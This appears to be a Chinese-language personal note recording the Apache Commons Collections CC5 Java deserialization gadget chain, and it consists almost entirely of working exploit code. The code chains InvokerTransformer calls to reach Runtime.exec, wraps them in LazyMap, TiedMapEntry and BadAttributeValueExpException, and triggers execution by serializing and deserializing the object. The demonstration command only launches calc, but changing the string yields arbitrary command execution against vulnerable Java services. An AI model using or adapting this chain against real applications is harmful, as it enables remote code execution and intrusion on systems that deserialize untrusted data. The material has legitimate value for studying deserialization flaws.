Java反序列化 CC5利用链记录

CC5利用链代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import java.io.*;

public class CC5 {
    public static void main(String[] args) throws Exception {
        ChainedTransformer chainedTransformer = new ChainedTransformer(
                new Transformer[]{
                        new ConstantTransformer(Runtime.class),
                        new InvokerTransformer(
                                "getMethod",
                                new Class[]{
                                        String.class,
                                        Class[].class
                                },
                                new Object[]{
                                        "getRuntime",
                                        new Class[0]
                                }
                        ),
                        new InvokerTransformer(
                                "invoke",
                                new Class[]{
                                        Object.class,
                                        Object[].class
                                },
                                new Object[]{
                                        null,
                                        new Object[0]
                                }
                        ),
                        new InvokerTransformer(
                                "exec",
                                new Class[]{
                                        String.class
                                },
                                new Object[]{
                                        "calc"
                                }
                        )
                }
        );
        Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "a");

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, tiedMapEntry);
        // 序列化 反序列化

        unserialize(badAttributeValueExpException);
        
    }

    public static void unserialize(Object obj) throws Exception {
        File f = new File("cc5.ser");

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));
        oos.writeObject(obj);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
        Object o = ois.readObject();
        System.out.println(o);
        ois.close();

        // f.deleteOnExit();
    }
}